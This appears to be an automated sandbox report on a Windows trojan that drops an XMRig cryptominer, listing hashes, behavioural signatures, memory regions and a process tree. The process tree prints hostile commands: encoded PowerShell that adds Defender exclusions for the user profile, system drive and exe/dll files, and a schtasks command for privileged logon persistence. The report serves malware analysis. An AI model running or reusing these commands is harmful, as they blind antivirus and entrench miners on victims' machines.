Analysis
-
max time kernel
161s -
max time network
143s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
06-12-2021 03:14
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Trojan.Siggen15.58403.20850.14287.exe
Resource
win7-en-20211104
General
-
Target
SecuriteInfo.com.Trojan.Siggen15.58403.20850.14287.exe
-
Size
5.4MB
-
MD5
5748009f0073ba952cbb581c44530798
-
SHA1
3304676ed8a238bf792a0fa359708861b3bfd42a
-
SHA256
4535de41278b2d4487e8f51de5851d8623de81e68060fe42d9ecb2cc23c4ed06
-
SHA512
03b13118184ea701e9257e2e9cc9698dffadfcd42276a3771477c95ff6e4351500ce85563444ccc98f948ae91c1ed6f6969ad33437105016c74a7e96adf0febf
Malware Config
Signatures
-
XMRig Miner Payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/4064-305-0x0000000140310068-mapping.dmp xmrig behavioral2/memory/4064-307-0x0000000140000000-0x0000000140787000-memory.dmp xmrig -
Executes dropped EXE 2 IoCs
Processes:
services64.exesihost64.exepid process 1040 services64.exe 1728 sihost64.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
services64.exedescription pid process target process PID 1040 set thread context of 4064 1040 services64.exe svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exeSecuriteInfo.com.Trojan.Siggen15.58403.20850.14287.exepowershell.exepowershell.exeservices64.exesvchost.exepid process 1004 powershell.exe 1004 powershell.exe 1004 powershell.exe 860 powershell.exe 860 powershell.exe 860 powershell.exe 1188 SecuriteInfo.com.Trojan.Siggen15.58403.20850.14287.exe 3692 powershell.exe 3692 powershell.exe 3692 powershell.exe 692 powershell.exe 692 powershell.exe 692 powershell.exe 1040 services64.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe 4064 svchost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exeSecuriteInfo.com.Trojan.Siggen15.58403.20850.14287.exepowershell.exedescription pid process Token: SeDebugPrivilege 1004 powershell.exe Token: SeIncreaseQuotaPrivilege 1004 powershell.exe Token: SeSecurityPrivilege 1004 powershell.exe Token: SeTakeOwnershipPrivilege 1004 powershell.exe Token: SeLoadDriverPrivilege 1004 powershell.exe Token: SeSystemProfilePrivilege 1004 powershell.exe Token: SeSystemtimePrivilege 1004 powershell.exe Token: SeProfSingleProcessPrivilege 1004 powershell.exe Token: SeIncBasePriorityPrivilege 1004 powershell.exe Token: SeCreatePagefilePrivilege 1004 powershell.exe Token: SeBackupPrivilege 1004 powershell.exe Token: SeRestorePrivilege 1004 powershell.exe Token: SeShutdownPrivilege 1004 powershell.exe Token: SeDebugPrivilege 1004 powershell.exe Token: SeSystemEnvironmentPrivilege 1004 powershell.exe Token: SeRemoteShutdownPrivilege 1004 powershell.exe Token: SeUndockPrivilege 1004 powershell.exe Token: SeManageVolumePrivilege 1004 powershell.exe Token: 33 1004 powershell.exe Token: 34 1004 powershell.exe Token: 35 1004 powershell.exe Token: 36 1004 powershell.exe Token: SeDebugPrivilege 860 powershell.exe Token: SeIncreaseQuotaPrivilege 860 powershell.exe Token: SeSecurityPrivilege 860 powershell.exe Token: SeTakeOwnershipPrivilege 860 powershell.exe Token: SeLoadDriverPrivilege 860 powershell.exe Token: SeSystemProfilePrivilege 860 powershell.exe Token: SeSystemtimePrivilege 860 powershell.exe Token: SeProfSingleProcessPrivilege 860 powershell.exe Token: SeIncBasePriorityPrivilege 860 powershell.exe Token: SeCreatePagefilePrivilege 860 powershell.exe Token: SeBackupPrivilege 860 powershell.exe Token: SeRestorePrivilege 860 powershell.exe Token: SeShutdownPrivilege 860 powershell.exe Token: SeDebugPrivilege 860 powershell.exe Token: SeSystemEnvironmentPrivilege 860 powershell.exe Token: SeRemoteShutdownPrivilege 860 powershell.exe Token: SeUndockPrivilege 860 powershell.exe Token: SeManageVolumePrivilege 860 powershell.exe Token: 33 860 powershell.exe Token: 34 860 powershell.exe Token: 35 860 powershell.exe Token: 36 860 powershell.exe Token: SeDebugPrivilege 1188 SecuriteInfo.com.Trojan.Siggen15.58403.20850.14287.exe Token: SeDebugPrivilege 3692 powershell.exe Token: SeIncreaseQuotaPrivilege 3692 powershell.exe Token: SeSecurityPrivilege 3692 powershell.exe Token: SeTakeOwnershipPrivilege 3692 powershell.exe Token: SeLoadDriverPrivilege 3692 powershell.exe Token: SeSystemProfilePrivilege 3692 powershell.exe Token: SeSystemtimePrivilege 3692 powershell.exe Token: SeProfSingleProcessPrivilege 3692 powershell.exe Token: SeIncBasePriorityPrivilege 3692 powershell.exe Token: SeCreatePagefilePrivilege 3692 powershell.exe Token: SeBackupPrivilege 3692 powershell.exe Token: SeRestorePrivilege 3692 powershell.exe Token: SeShutdownPrivilege 3692 powershell.exe Token: SeDebugPrivilege 3692 powershell.exe Token: SeSystemEnvironmentPrivilege 3692 powershell.exe Token: SeRemoteShutdownPrivilege 3692 powershell.exe Token: SeUndockPrivilege 3692 powershell.exe Token: SeManageVolumePrivilege 3692 powershell.exe Token: 33 3692 powershell.exe -
Suspicious use of WriteProcessMemory 40 IoCs
Processes:
SecuriteInfo.com.Trojan.Siggen15.58403.20850.14287.execmd.execmd.execmd.exeservices64.execmd.exesihost64.exedescription pid process target process PID 1188 wrote to memory of 1524 1188 SecuriteInfo.com.Trojan.Siggen15.58403.20850.14287.exe cmd.exe PID 1188 wrote to memory of 1524 1188 SecuriteInfo.com.Trojan.Siggen15.58403.20850.14287.exe cmd.exe PID 1524 wrote to memory of 1004 1524 cmd.exe powershell.exe PID 1524 wrote to memory of 1004 1524 cmd.exe powershell.exe PID 1524 wrote to memory of 860 1524 cmd.exe powershell.exe PID 1524 wrote to memory of 860 1524 cmd.exe powershell.exe PID 1188 wrote to memory of 2804 1188 SecuriteInfo.com.Trojan.Siggen15.58403.20850.14287.exe cmd.exe PID 1188 wrote to memory of 2804 1188 SecuriteInfo.com.Trojan.Siggen15.58403.20850.14287.exe cmd.exe PID 2804 wrote to memory of 3236 2804 cmd.exe schtasks.exe PID 2804 wrote to memory of 3236 2804 cmd.exe schtasks.exe PID 1188 wrote to memory of 1840 1188 SecuriteInfo.com.Trojan.Siggen15.58403.20850.14287.exe cmd.exe PID 1188 wrote to memory of 1840 1188 SecuriteInfo.com.Trojan.Siggen15.58403.20850.14287.exe cmd.exe PID 1840 wrote to memory of 1040 1840 cmd.exe services64.exe PID 1840 wrote to memory of 1040 1840 cmd.exe services64.exe PID 1040 wrote to memory of 3136 1040 services64.exe cmd.exe PID 1040 wrote to memory of 3136 1040 services64.exe cmd.exe PID 3136 wrote to memory of 3692 3136 cmd.exe powershell.exe PID 3136 wrote to memory of 3692 3136 cmd.exe powershell.exe PID 3136 wrote to memory of 692 3136 cmd.exe powershell.exe PID 3136 wrote to memory of 692 3136 cmd.exe powershell.exe PID 1040 wrote to memory of 1728 1040 services64.exe sihost64.exe PID 1040 wrote to memory of 1728 1040 services64.exe sihost64.exe PID 1040 wrote to memory of 4064 1040 services64.exe svchost.exe PID 1040 wrote to memory of 4064 1040 services64.exe svchost.exe PID 1040 wrote to memory of 4064 1040 services64.exe svchost.exe PID 1040 wrote to memory of 4064 1040 services64.exe svchost.exe PID 1040 wrote to memory of 4064 1040 services64.exe svchost.exe PID 1040 wrote to memory of 4064 1040 services64.exe svchost.exe PID 1040 wrote to memory of 4064 1040 services64.exe svchost.exe PID 1040 wrote to memory of 4064 1040 services64.exe svchost.exe PID 1040 wrote to memory of 4064 1040 services64.exe svchost.exe PID 1040 wrote to memory of 4064 1040 services64.exe svchost.exe PID 1040 wrote to memory of 4064 1040 services64.exe svchost.exe PID 1040 wrote to memory of 4064 1040 services64.exe svchost.exe PID 1040 wrote to memory of 4064 1040 services64.exe svchost.exe PID 1040 wrote to memory of 4064 1040 services64.exe svchost.exe PID 1040 wrote to memory of 4064 1040 services64.exe svchost.exe PID 1728 wrote to memory of 2620 1728 sihost64.exe conhost.exe PID 1728 wrote to memory of 2620 1728 sihost64.exe conhost.exe PID 1728 wrote to memory of 2620 1728 sihost64.exe conhost.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen15.58403.20850.14287.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen15.58403.20850.14287.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.exe"cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\Microsoft\services64.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\Microsoft\services64.exe"3⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\cmd.exe"cmd" cmd /c "C:\Users\Admin\Microsoft\services64.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Microsoft\services64.exeC:\Users\Admin\Microsoft\services64.exe3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="5⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "mlqowtwyezocuz"5⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe rdwexnmbexgwvux0 Xji3FXYfqqI2timPThbgZueMNpSES88mLhMz2ywydJRha9S4YJkR8/KlqFio/vzAY7y//ZROYnArPXLiffwPB3EYEaWtdTNgeO+yOcML2FLdin0Rbrrbm/YoAjK7mqvZEX/HgK//sgsnHcQsRkM9iGKCen+11TiuyHWyZAdf1wMLE4agYXDET+uLyuqzRfvjrbqdOzrMw7uyk9GJnctDF8x49xwghsNTxALZT8Q9OM4wOBYwE039IMn9ca6XIbihdWj5HyYAJaQbSZphwh7fCuYt0jnCH0tNapinYPmpr65hdz5iy8i4gYX/G2mW0bWM7v5yf7/M2g2SVIovCp85oojSagGHvGHL9NSpcgvmBfYrdWxs22CrpiqlLHwgNqOtzxdN5e8kce4ENimY0bna8qreUya9Oikcj5lQ/56VmmV9Rh/Te8Hm+EfV7aQGkEt7MvpdIliJYJQpq2Rqw4034WTmYmYIyNc1KTfSbRTTojhYmzmEfUwH1A/sCOYdzo1OYQdU8gUbDvK3Kvse8WXom5OTFAiqYFmnf8ovp3DqBcmGqaVa1ozl51yTYaQREubTK3akW3GhtG5yyHb2vOLHgRrAgqZDab/X7gLYtnofzkqda7eCFUGhOiP05JYct6ux4⤵
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
ad5cd538ca58cb28ede39c108acb5785
SHA11ae910026f3dbe90ed025e9e96ead2b5399be877
SHA256c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033
SHA512c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
8653fbfc87d438da06a51a21896f34c0
SHA11be258592ad73ecacad2b2371d849ffc33a9d055
SHA256cf61db9b986020d1ebf201c3065e899cc2b5f83bb501936ae37390e83fc12595
SHA512ac1c8bc9f1bcc8bc17a82ce5580bef6901ec8d69ac0d461fbe655584bf9d1c2c0d23f34c316f4bc4d2169bbe94ceb2fe99001437bba3d1e598180784f5b3e5fc
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
3cf5401dbd9ec6f24011d48148d4a9ee
SHA18d5ac4b9d209c73860bd692d8c7b9f46bcefa331
SHA256754371aceaa922fb5330fd60b041c2782f2b4464a2fe0fc97eefacea30173ee2
SHA51268bb7a6f4f0d8d7adeaed59832cc063fef8463937f6c923477c554c6fc53140fc81b40551a6038c04214357d00604de6454996c3200b35725b0bf954cf2682c1
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
c814d6e28403eef855522466040280ce
SHA1a5ec321180056c08de42b44d4ded986135a1177d
SHA2566e65a70115899e2698cf5ed68952a54705d7c1f221f33185d3fda6eef8a017c8
SHA512012a8c50dcf2258b0a19e290475956d759d6d0a74ea87fca4f66b836c3737c98602dd3004719ddc3a0d83be8699aebf049255dbbe4903dc49194e807240a6809
-
C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exeMD5
9f196bd28274bbf24456746341db2b25
SHA13bd9a482dc88a6bd42465cb37c3d288a180386e0
SHA256ee183792c122aed123b5b7e111911a5d61fef56053449d5cc11c262c1315c9cc
SHA5125e2753c621534b14e5457ca81246cc17b00b55facc4a733d87e094ee63fb5afc51273d3a2ea94207abf01e211e911e2cd33f7895a3d13266c9544b87a39b4b56
-
C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exeMD5
9f196bd28274bbf24456746341db2b25
SHA13bd9a482dc88a6bd42465cb37c3d288a180386e0
SHA256ee183792c122aed123b5b7e111911a5d61fef56053449d5cc11c262c1315c9cc
SHA5125e2753c621534b14e5457ca81246cc17b00b55facc4a733d87e094ee63fb5afc51273d3a2ea94207abf01e211e911e2cd33f7895a3d13266c9544b87a39b4b56
-
C:\Users\Admin\Microsoft\services64.exeMD5
5748009f0073ba952cbb581c44530798
SHA13304676ed8a238bf792a0fa359708861b3bfd42a
SHA2564535de41278b2d4487e8f51de5851d8623de81e68060fe42d9ecb2cc23c4ed06
SHA51203b13118184ea701e9257e2e9cc9698dffadfcd42276a3771477c95ff6e4351500ce85563444ccc98f948ae91c1ed6f6969ad33437105016c74a7e96adf0febf
-
C:\Users\Admin\Microsoft\services64.exeMD5
5748009f0073ba952cbb581c44530798
SHA13304676ed8a238bf792a0fa359708861b3bfd42a
SHA2564535de41278b2d4487e8f51de5851d8623de81e68060fe42d9ecb2cc23c4ed06
SHA51203b13118184ea701e9257e2e9cc9698dffadfcd42276a3771477c95ff6e4351500ce85563444ccc98f948ae91c1ed6f6969ad33437105016c74a7e96adf0febf
-
memory/692-290-0x0000026F67FD0000-0x0000026F67FD2000-memory.dmpFilesize
8KB
-
memory/692-292-0x0000026F67FD3000-0x0000026F67FD5000-memory.dmpFilesize
8KB
-
memory/692-260-0x0000000000000000-mapping.dmp
-
memory/692-294-0x0000026F67FD6000-0x0000026F67FD8000-memory.dmpFilesize
8KB
-
memory/692-303-0x0000026F67FD8000-0x0000026F67FD9000-memory.dmpFilesize
4KB
-
memory/860-205-0x00000114C2DF8000-0x00000114C2DF9000-memory.dmpFilesize
4KB
-
memory/860-190-0x00000114C2DF6000-0x00000114C2DF8000-memory.dmpFilesize
8KB
-
memory/860-187-0x00000114C2DF0000-0x00000114C2DF2000-memory.dmpFilesize
8KB
-
memory/860-176-0x00000114C1050000-0x00000114C1052000-memory.dmpFilesize
8KB
-
memory/860-174-0x00000114C1050000-0x00000114C1052000-memory.dmpFilesize
8KB
-
memory/860-173-0x00000114C1050000-0x00000114C1052000-memory.dmpFilesize
8KB
-
memory/860-188-0x00000114C2DF3000-0x00000114C2DF5000-memory.dmpFilesize
8KB
-
memory/860-171-0x00000114C1050000-0x00000114C1052000-memory.dmpFilesize
8KB
-
memory/860-169-0x00000114C1050000-0x00000114C1052000-memory.dmpFilesize
8KB
-
memory/860-164-0x0000000000000000-mapping.dmp
-
memory/860-166-0x00000114C1050000-0x00000114C1052000-memory.dmpFilesize
8KB
-
memory/860-168-0x00000114C1050000-0x00000114C1052000-memory.dmpFilesize
8KB
-
memory/860-167-0x00000114C1050000-0x00000114C1052000-memory.dmpFilesize
8KB
-
memory/1004-135-0x00000206F51B0000-0x00000206F51B2000-memory.dmpFilesize
8KB
-
memory/1004-134-0x00000206F51C0000-0x00000206F51C2000-memory.dmpFilesize
8KB
-
memory/1004-140-0x00000206F51C6000-0x00000206F51C8000-memory.dmpFilesize
8KB
-
memory/1004-138-0x00000206F51B0000-0x00000206F51B2000-memory.dmpFilesize
8KB
-
memory/1004-137-0x00000206F6460000-0x00000206F6461000-memory.dmpFilesize
4KB
-
memory/1004-163-0x00000206F51B0000-0x00000206F51B2000-memory.dmpFilesize
8KB
-
memory/1004-136-0x00000206F51C3000-0x00000206F51C5000-memory.dmpFilesize
8KB
-
memory/1004-184-0x00000206F51C8000-0x00000206F51C9000-memory.dmpFilesize
4KB
-
memory/1004-133-0x00000206F51B0000-0x00000206F51B2000-memory.dmpFilesize
8KB
-
memory/1004-128-0x00000206F51B0000-0x00000206F51B2000-memory.dmpFilesize
8KB
-
memory/1004-132-0x00000206F51B0000-0x00000206F51B2000-memory.dmpFilesize
8KB
-
memory/1004-131-0x00000206F5910000-0x00000206F5911000-memory.dmpFilesize
4KB
-
memory/1004-126-0x0000000000000000-mapping.dmp
-
memory/1004-127-0x00000206F51B0000-0x00000206F51B2000-memory.dmpFilesize
8KB
-
memory/1004-129-0x00000206F51B0000-0x00000206F51B2000-memory.dmpFilesize
8KB
-
memory/1004-130-0x00000206F51B0000-0x00000206F51B2000-memory.dmpFilesize
8KB
-
memory/1040-209-0x0000000000000000-mapping.dmp
-
memory/1040-228-0x00000000009A3000-0x00000000009A5000-memory.dmpFilesize
8KB
-
memory/1040-229-0x00000000009A6000-0x00000000009A7000-memory.dmpFilesize
4KB
-
memory/1040-227-0x00000000009A0000-0x00000000009A2000-memory.dmpFilesize
8KB
-
memory/1188-123-0x0000000003843000-0x0000000003845000-memory.dmpFilesize
8KB
-
memory/1188-121-0x0000000003630000-0x0000000003631000-memory.dmpFilesize
4KB
-
memory/1188-119-0x000000001C560000-0x000000001C963000-memory.dmpFilesize
4.0MB
-
memory/1188-118-0x0000000000CC0000-0x00000000010C7000-memory.dmpFilesize
4.0MB
-
memory/1188-122-0x0000000003840000-0x0000000003842000-memory.dmpFilesize
8KB
-
memory/1188-124-0x0000000003846000-0x0000000003847000-memory.dmpFilesize
4KB
-
memory/1524-125-0x0000000000000000-mapping.dmp
-
memory/1728-300-0x0000000000000000-mapping.dmp
-
memory/1840-208-0x0000000000000000-mapping.dmp
-
memory/2620-319-0x0000022BC4CB3000-0x0000022BC4CB5000-memory.dmpFilesize
8KB
-
memory/2620-318-0x0000022BC4CB0000-0x0000022BC4CB2000-memory.dmpFilesize
8KB
-
memory/2620-317-0x0000022BC3010000-0x0000022BC3017000-memory.dmpFilesize
28KB
-
memory/2620-320-0x0000022BC4CB6000-0x0000022BC4CB7000-memory.dmpFilesize
4KB
-
memory/2804-206-0x0000000000000000-mapping.dmp
-
memory/3136-215-0x0000000000000000-mapping.dmp
-
memory/3236-207-0x0000000000000000-mapping.dmp
-
memory/3692-257-0x000002B777A66000-0x000002B777A68000-memory.dmpFilesize
8KB
-
memory/3692-216-0x0000000000000000-mapping.dmp
-
memory/3692-258-0x000002B777A68000-0x000002B777A69000-memory.dmpFilesize
4KB
-
memory/3692-231-0x000002B777A63000-0x000002B777A65000-memory.dmpFilesize
8KB
-
memory/3692-230-0x000002B777A60000-0x000002B777A62000-memory.dmpFilesize
8KB
-
memory/4064-305-0x0000000140310068-mapping.dmp
-
memory/4064-307-0x0000000140000000-0x0000000140787000-memory.dmpFilesize
7.5MB
-
memory/4064-308-0x0000023E65C80000-0x0000023E65CA0000-memory.dmpFilesize
128KB
-
memory/4064-321-0x0000023E65CA0000-0x0000023E65CC0000-memory.dmpFilesize
128KB